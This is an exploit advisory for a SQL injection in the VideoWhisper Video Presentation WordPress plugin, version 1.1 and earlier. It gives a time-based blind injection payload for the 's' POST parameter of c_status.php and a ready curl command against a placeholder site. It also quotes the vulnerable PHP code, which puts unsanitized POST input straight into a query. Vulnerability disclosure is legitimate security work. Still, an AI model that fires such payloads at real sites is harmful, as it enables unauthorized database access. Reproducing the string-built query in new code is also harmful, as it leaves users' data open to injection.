WordPress Plugin VideoWhisper Video Presentation 1.1 - SQL Injection

# Exploit Title: WordPress VideoWhisper Video Presentation plugin <= 1.1 SQL Injection Vulnerability
# Date: 2011-09-02
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/videowhisper-video-presentation.zip
# Version: 1.1 (tested)
# Note: magic_quotes has to be turned off

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PoC (POST data)
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http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php
 s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

e.g.:
curl --data "s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php

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Vulnerable code
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$s=$_POST['s'];
...
$sql = "SELECT * FROM $table_name where session='$s' and status='1'";
$session = $wpdb->get_row($sql);